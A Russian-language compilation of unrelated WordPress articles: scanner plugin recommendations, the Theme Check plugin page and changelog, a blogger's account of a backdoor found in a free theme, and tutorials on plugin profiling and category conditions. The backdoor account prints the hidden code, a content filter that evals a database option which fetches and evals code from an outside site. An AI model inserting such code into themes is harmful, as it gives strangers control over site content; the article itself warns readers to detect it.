Вредоносный код. Тестирование темы WordPress, проверка в режиме отладки Как проверить шаблон на вирусы

Часто наши пользователи задают вопрос, существует ли способ проверить свой сайт на WordPress на наличие потенциально опасного кода. Ответ на этот вопрос: ДА, ДА и еще раз ДА. Существуют как платные так и бесплатные инструменты для сканирования вашего сайта WordPress на наличие потенциально опасного или нежелательного кода. Всегда полезно делать регулярные проверки вашего сайта путем сканирования на вредоносный код. В этой статье мы покажем вам несколько способов сканирования ваш сайт на WordPress на потенциально опасный код.

Theme Authenticity Checker (TAC)

Theme Authenticity Checker — это бесплатный плагин, который проверит все ваши темы WordPress на наличие потенциально опасного или нежелательного кода.

Часто взломщики ставят целью взлом именно тем с целью внедрения туда ссылок, поэтому плагин — это замечательный способ проверки на их наличие.

Exploit Scanner

Exploit Scanner — другой бесплатный плагин WordPress, более мощный нежели Theme Authenticity Checker, так как позволяет осуществлять поиск вредоносного кода по всем файлам и базе данных вашей копии WordPress. Он ищет сигнатуры, соответствующие вредоносному коду и выявляет их.
Примечание: возможно определенное количество ложных срабатываний, поэтому необходимо понимать что вы делаете, и определить действительно ли это вредонос или же всё в порядке.

Sucuri

Sucuri — один из САМЫХ лучших сканеров безопасности для WordPress вообще. У них есть простой бесплатный сканер сайтов, который проверяет ваш ресурс на предмет все ли с ним в порядке. Однако платная версия намного превосходит фри по своим возможностям. Вкратце, после того, как вы установите Sucuri, он автоматически мониторит ваш сайт 24 часа в сутки 7 дней в неделю на предмет вредоносных скриптов. Он проводит аудит активности на всем сайте, чтобы вовремя сообщить, если что-либо пойдет не так. Если что-то кажется подозрительным, Sucuri блокирует IP. Также плагин отправляет вам уведомление, если на сайте начинается какая-то подозрительная активность. И, наконец, плагин предлагает чистку от вредоносного кода, и эта услуга включена в цену сервиса (вне зависимости от того, большой ваш сайт или маленький).

Для наших проектов мы выбрали тариф для 5 сайтов, что обходится около $3 за сайт в месяц. Имеет смысл заплатить $3 в месяц и не беспокоится о безопасности сайта.

Кстати, сервис не только для новичков. Большие издательства типа CNN, USAToday, PC World, TechCrunch, TheNextWeb и другие пользуются услугами Sucuri. Эти парни знают, что делают, и поэтому люди доверяют им свои сайты.

По всем вопросам и отзывам просьба писать в комментарии ниже.

Не забывайте, по возможности, оценивать понравившиеся записи количеством звездочек на ваше усмотрение.

The theme check plugin is an easy way to test your theme and make sure it’s up to spec with the latest theme review standards. With it, you can run all the same automated testing tools on your theme that WordPress.org uses for theme submissions.

The tests are run through a simple admin menu and all results are displayed at once. This is very handy for theme developers, or anybody looking to make sure that their theme supports the latest WordPress theme standards and practices.

Как активировать форматирование trac

The Theme Review team use this plugin while reviewing themes and copy/paste the output into trac tickets, the trac system has its own markup language.
To enable trac formatting in Theme-Check you need to define a couple of variables in wp-config.php:
TC_PRE and TC_POST are used as a ticket header and footer.
Examples:
define(‘TC_PRE’, ‘Theme Review:[]
— Themes should be reviewed using «define(\’WP_DEBUG\’, true);» in wp-config.php[]
— Themes should be reviewed using the test data from the Theme Checklists (TC)
——
‘);

Define("TC_POST", "Feel free to make use of the contact details below if you have any questions, comments, or feedback:[] [] * Leave a comment on this ticket[] * Send an email to the Theme Review email list[] * Use the #wordpress-themes IRC channel on Freenode.");

If either of these two vars are defined a new trac tickbox will appear next to the Check it! button.

Часто задаваемые вопросы

What’s with the version numbers?

The version number is the date of the revision of the guidelines used to create it.

Why does it flag something as bad?

It’s not flagging «bad» things, as such. The theme check is designed to be a non-perfect way to test for compliance with the Theme Review guidelines. Not all themes must adhere to these guidelines. The purpose of the checking tool is to ensure that themes uploaded to the central WordPress.org theme repository meet the latest standards of WordPress themes and will work on a wide variety of sites.

Many sites use customized themes, and that’s perfectly okay. But themes that are intended for use on many different kinds of sites by the public need to have a certain minimum level of capabilities, in order to ensure proper functioning in many different environments. The Theme Review guidelines are created with that goal in mind.

This theme checker is not perfect, and never will be. It is only a tool to help theme authors, or anybody else who wants to make their theme more capable. All themes submitted to WordPress.org are hand-reviewed by a team of experts. The automated theme checker is meant to be a useful tool only, not an absolute system of measurement.

This plugin does not decide the guidelines used. Any issues with particular theme review guidelines should be discussed on the Make Themes site .

Отзывы

This is a great plugin for everyone that really likes to develop a WordPress theme and make successfully tests for the basic WordPress standards. The errors separated in "Required", "Warning", "Recommended" and "info". Also provide the basic information of this error and makes you understand where the problem is.

Участники и разработчики

«Проверка темы» - проект с открытым исходным кодом. В развитие плагина внесли свой вклад следующие участники:

Участники

Журнал изменений

20190801.1

  • Fix missing nonce and nonce check on admin page. props Steven Stern for reporting the issue to the plugins team. Though this is technically a CSRF, there is no vulnerability arising from it, as the only thing that could be done with the form is to scan a theme.

20190208.1

  • Add new styles for the block editor. See https://meta.trac.wordpress.org/ticket/3921

20160523.1

  • Fix for theme-names with dashes in them
  • Comments stripping changes
  • Many changes by the theme review team and others. See Github for full change list.

20151211.1

  • Full sync with Github and all the changes that have happened there.
  • Release for 4.4 deprecated functions.

20140929.1

  • Added new checks and updates from Frank Klein at Automattic. Thanks Frank!
  • Updated deprecated function listings
  • Customizer check: All add_settings must use sanitization callbacks, for security
  • Plugin territory checks: Themes must not register post types or taxonomies or add shortcodes for post content
  • Widgets: Calls to register_sidebar must be called from the widgets_init action hook
  • Title: tags must exist and not have anything in them other than a call to wp_title()
  • CDN: Checks for use of common CDNs (recommended only)
  • Note: Changed plugin and author URIs due to old URIs being invalid. These may change again in the future, the URIs to my own site are temporarily only.

20131213.1

  • Corrected errors not being displayed by the plugin and it incorrectly giving a «pass» result to everything.

20131212.1

  • Updated for 3.8
  • Most files have changed for better I18N support, so the language files were removed temporarily until translation can be redone.

20121211.1

  • Updated for 3.5
  • Remove Paypal button.

20110805.1

  • TimThumb checks removed.
  • Screenshot now previewed in results, with filesize and dimensions.

20110602.2

  • New file list functions hidden folders now detectable.
  • Better fopen checks.
  • TimThumb version bump

20110602.1

  • DOS/UNIX line ending style checks are now a requirement for proper theme uploading.
  • Timthumb version bump
  • Several fixes reported by GaryJ
  • 3.2 deprecated functions added

20110412.1

  • Fix regex’s
  • Added check for latest footer injection hack.
  • Fix tags check to use new content function correctly
  • Sync of all changes made for wporg uploader theme-check.
  • Updated checks post 3.1. added screenshot check to svn.
  • Fix links check to not return a false failure in some cases
  • rm one of the checks that causes problems on wporg uploader (and which is also unnecessary)
  • Move unneeded functions out of checkbase into main.php.
  • Minor formatting changes only (spacing and such)
  • Add check for wp_link_pages() + fix eval() check

20110219.2

  • Merged new UI props Gua Bob
  • Last tested theme is always pre-selected in the themes list.
  • Fixed php error in admin_menu.php

20110219.1

  • See commit log for changes.

20110201.2

  • UI bug fixes forum post props Mamaduka.
  • Textdomain checks for twentyten and no domain.
  • Fix div not closing props Mamaduka.

20110201.1

  • i18n working
  • sr_RS de_DE ro_RO langs props Daniel Tara and Emil Uzelac.
  • Child theme support added, checks made against parent AND child at runtime.
  • Trac formatting button added for reviewers.

20101228.3

  • Last revision for 3.1 (hopefully)
  • Chips suggestion of checking for inclusion of searchform.php (not
    perfect yet, need more examples to look for).
  • add_theme_page is required, all others flagged and displayed with line
    numbers.
  • Mostly internationalized, needs translations now.
  • Bug fixes.

20101228.2

  • Added menu checking.
  • ThemeURI AuthourURI added to results.
  • Lots of small fixes.
  • Started translation.

20101228.1

  • Fix embed_defaults filter check and stylesheet file data check.

20101226.1

  • Whole system redesign to allow easier synching with WordPress.org uploader. Many other additions/subtractions/changes as well.
  • WordPress 3.1 guidelines added, to help theme authors ensure compatibility for upcoming release.

20101110.7

  • Re-added malware.php checks for fopen and file_get_contents (INFO)
  • fixed a couple of undefined index errors.

20101110.4_r2

  • Fixed Warning: Wrong parameter count for stristr()

20101110.4_r1

  • Added echo to suggested.php

20101110.4

  • Fixed deprecated function call to get_plugins()

20101110.3

  • Fixed undefined index.

20101110.2

  • Missing < in main.php
  • Added conditional checks for licence.txt OR Licence tags in style.css
  • UI improvements.

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Вы узнаете, как проверить нагрузку установленных на сайт WordPress . С помощью этого способа, можно определить, какой именно плагин дает большую нагрузку на сайт, после чего этот плагин можно удалить, либо заменить каким-то другим.

Был у меня случай, когда один плагин давал большую нагрузку на сервер, что и блог переставал работать. Мне хостер выслал письмо с предупреждением, чтобы я позаботился о снижении нагрузки, и как бы невзначай предложил перейти на более дорогой тариф, который с этой нагрузкой легко справится. На тот момент у меня был хостинг «Sprithost ». Ох, и намучился я на этом хостинге.

Я написал в службу поддержки «Sprithost », чтобы мне помогли решить эту проблему. Мне посоветовали установить «WP Super Cache ». Да, нагрузка на сервер действительно уменьшилась, но этого было не достаточно. Блог иногда все равно был не доступен. Проблему эту я решил достаточно просто. Я перешел на другой хостинг, после чего все нагрузки исчезли.

Итак, перейдем к делу. Как бы это парадоксально не звучало, но проверять нагрузку плагинов, мы будем с помощью плагина «».

Плагин «P3 - Plugin Performance Profiler» - проверка нагрузки плагинов на сайт WordPress

Скачать плагин можно по этой ссылке . После установки и активации плагина, можно кликнуть по ссылке «Scan Now », которая находится под названием самого плагина, или перейти в «Инструменты », а потом нажать «P3 Plugin Profiler ».

Теперь Вы можете сделать сканирование всех установленных плагинов на Вашем сайте. Жмите «Start Scan ». Появится окошко, где Вы можете выбрать автоматическое сканирование (Auto Scan ), или ручное сканирование (Manual Scan ). В поле «Scan name », можно дать название этому сканированию, например, написать дату.

Если выбрать автоматическое сканирование (Auto Scan ), тогда плагин «P3 - Plugin Performance Profiler » будет автоматически сканировать определенные страницы и папки на сайте. По какому принципу он сканирует - тяжело сказать, но ждать мне приходится около 10 минут. Готовый результат, можно посмотреть, если нажать кнопу «View Results ». Появится такой график:

График разбит на части разного цвета. Каждый цвет относится к определенному плагину, например, синий цвет к плагин «WPtouch Mobile Plugin ». У Вас этот цвет может относиться совершенно к другому плагину.

Правее от графика, можно посмотреть, какой цвет к какому плагину относится. Также, если подвести курсор мыши на сам график, к определенному цвету, то Вы тоже увидите, к какому плагину относится цвет.

В моем случае, наибольшую нагрузку дает плагин «Pretty Link Lite », о котором я недавно писал. Можете почитать « »

В режиме ручного сканирования, можно отсканировать любую страницу сайте. Нажмите «Start Scan », а потом «Manual Scan ». Кликните по странице, которую собираетесь отсканировать, а потом внизу нажмите «I"m Done ».

Готовые результаты можно отправить на свой E-mail , для этого надо кликнуть внизу по ссылке «Email these results ».

Выше над графиком можно посмотреть количество установленных плагинов на Вашем сайте, время загрузки плагина, время загрузки страницы и запросы к базе данных MySQL. Там же можно посмотреть историю сканирования (History ), и получить помощь (Help ).

____________________________
К уроку 198.

Представим, что Вы выводите записи и нужно изменить внешний вид в зависимости от рубрики. Например, у Вас есть блок "ОБ АВТОРЕ" который выводит информацию об авторе статьи, но вы не хотите видеть этот блок например под записями из рубрики в которой это не нужно. Так же можно отключать комментирование в определенных рубриках, вывод миниатюр и тд. Все зависит от Ваших нужд и фантазий. Лично я очень часто пользуюсь таким условием.

Чтобы отфильтровать записи в зависимости от рубрики поможет функция - in_category() . Данная функция делает проверку на то принадлежит ли текущая или заданная запись к нужной рубрике, ну или нескольким рубрикам. Чаще всего данная функция выводится в файле single.php , потому как он и отвечает за вывод записей.

Простейший способ использования функции, будет выглядеть примерно следующим образом. Добавляем данный код в файл single.php, при необходимости заключаем в PHP теги.

PHP теги выглядят так:

Если у Вас в теме используется в основном HTML код, то вставляйте код приведенный ниже без изменений. Если используется в основном PHP, то теги в которые заключен код можно удалить.

В данном коде мы задали условие, что если текущая запись принадлежит к рубрике с ID - 12, то нужно что-то вывести. То что хотите, добавляете внутрь фигурных скобок. Это должен быть PHP код, если это сложно и нужно добавить HTML код, то разорвите код теми же PHP тегами и код станет таким:

//сюда пишем обычный HTML код или просто текст.

Чтобы определить айди рубрик, нужно в админке перейти в список рубрик и навести курсором на нужную. Внизу окна браузера с правой стороны появится ссылка внутри которой будет что-то типа ID=1, то есть айди этой рубрики 1.

Если Вам нужно указать несколько рубрик, то укажите их через запятую. Так же Вам может быть нужно создать условие "ЕСЛИ - ТО", тогда код будет примерно таким:

Представьте, что Вам нужно выводить в рубрике 12 миниатюру записи, а в остальных записях из других рубрик - первую картинку из текста. Такое бывает и как это сделать? С помощью приведенного кода Выше. Про вывод первого изображения из записи можно прочитать в статье -

Теперь хочу показать еще одну возможность, которую можно добавить к данной функции. Так бывает что у рубрик есть подрубрики, то есть дочерние категории. И если запись принадлежит к одной из подрубрик, то условие обойдет ее. Если Вам это и нужно, то можете ничего не трогать, но вот если, все же условие должно работать и на подрубрики, то нужно добавить к условию дополнение. Для начала в само условие нужно добавить такую часть - || post_is_in_descendant_category(12) . Это вызов нашей новой функции, которая будет осуществлять проверку по подрубрикам. Готовый код станет таким:

Чтобы новая функция начала работать, нужно добавить сам код этой функции, то есть ее нужно написать. Для этого, найдите в папке с активной темой файл function.php , в котором находятся пользовательские функции. Добавлять код, если вы не знакомы с PHP, нужно в самый конец файла, но если там есть закрывающий PHP тег - ?> , то добавлять нужно перед ним. Сам код выглядит так:

Function post_is_in_descendant_category($cats, $_post = null) { foreach ((array) $cats as $cat) { // get_term_children() accepts integer ID only $descendants = get_term_children((int) $cat, "category"); if ($descendants && in_category($descendants, $_post)) return true; } return false; }

Если все сделано правильно, то ваше условие будет отбирать записи по определенным рубрикам и их подрубрикам.

Давненько начал писать данную статью, да все руки не доходили закончить, то одно, то второе перебивало. Наконец-то статья окончена и возможно многим поможет решить вопрос.

На этом все, спасибо за внимание. 🙂



Есть вопросы?

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: